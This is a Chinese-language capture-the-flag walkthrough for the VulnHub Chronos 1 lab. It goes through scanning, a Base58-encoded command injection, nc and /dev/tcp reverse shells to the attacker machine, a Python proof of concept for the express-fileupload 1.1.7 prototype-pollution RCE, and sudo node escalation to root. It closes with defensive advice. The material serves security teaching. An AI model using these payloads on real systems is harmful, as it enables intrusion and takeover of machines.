VnlnHub CHRONOS 1
字数 1261 2025-08-12 11:34:25
Chronos 1 靶场渗透测试教学文档
靶场环境搭建
下载与导入
- 靶场下载地址: https://www.vulnhub.com/entry/chronos-1,735/
- 下载文件为.ova格式,专为VirtualBox设计
- 若使用VMware遇到兼容性问题,可参考转换教程: https://www.freebuf.com/sectool/343724.html
网络配置
- 初始问题:虚拟机无法自动获取IP
- 解决方法参考: https://www.freebuf.com/articles/network/343723.html
- 推荐网络模式:
- NAT模式(与Kali攻击机保持一致)
- 桥接模式也可用(需确保与Kali在同一网络)
信息收集
网络扫描
- 扫描命令示例:
nmap -sP 192.168.52.0/24 - 识别靶机IP(本例中为192.168.52.133)
端口扫描
- 扫描结果:
- 22端口:SSH服务
- 80端口:HTTP服务(Apache 2.4.29)
- 8000端口:HTTP服务(Node.js Express框架)
Web应用分析
80端口分析
- 页面加载问题:部分资源未加载
- 抓包发现混淆的JS代码
- 使用CyberChef工具还原JS代码
代码分析发现
- 发现请求URL:
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL - 需修改/etc/hosts文件添加解析:
192.168.52.133 chronos.local
漏洞利用
命令注入漏洞
- 发现format参数使用Base58编码
- 解码后发现与date命令格式相关
- 测试命令注入:
- 构造Base58编码的payload
- 通过Burp Repeater模块测试
初始反弹Shell尝试
-
尝试使用nc反弹:
nc 192.168.52.128 4444 -e /bin/bash- 失败原因:靶机nc不支持-e参数
-
尝试nc串联:
nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555- 连接建立但功能不完善
权限提升路径一
常规提权尝试
-
内核提权:
- 内核版本4.15.0,未找到可用漏洞
-
sudo提权:
sudo -l- 无可用命令
-
SUID提权:
find / -perm -4000 2>/dev/null- 未发现可利用的常见程序(如nmap、vim等)
深入渗透
发现备用Web应用
- 路径:/opt/chronos-v2
- 技术栈:
- Node.js Express框架
- express-fileupload 1.1.7
漏洞利用
-
发现express-fileupload 1.1.7存在RCE漏洞
-
漏洞条件:parseNested设置为TRUE
-
利用Python POC:
import requests cmd = 'bash -c "bash -i &> /dev/tcp/192.168.52.128/6666 0>&1"' # pollute requests.post('http://127.0.0.1:8080', files = { '__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x" ) }) # execute command requests.get('http://127.0.0.1:8080') -
文件传输:
- Kali搭建临时Web服务:
python2 -m SimpleHTTPServer 80 - 靶机下载:
wget http://192.168.52.128/poc.py -O /tmp/poc.py
- Kali搭建临时Web服务:
-
执行POC:
python3 /tmp/poc.py- Kali监听6666端口获取imera用户shell
最终权限提升
sudo提权
- 检查sudo权限:
sudo -l - 发现可利用node提权:
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})' - 成功获取root权限
总结
关键知识点
- VirtualBox与VMware的虚拟机转换
- 网络配置问题排查
- JS代码分析与反混淆
- Base58编码识别与利用
- 命令注入漏洞利用
- 受限环境下的反弹Shell技巧
- Node.js应用的漏洞挖掘
- express-fileupload漏洞利用
- sudo提权技术
防御建议
- 对用户输入进行严格过滤
- 避免使用危险函数直接执行系统命令
- 及时更新第三方库版本
- 遵循最小权限原则配置sudo
- 禁用不必要的服务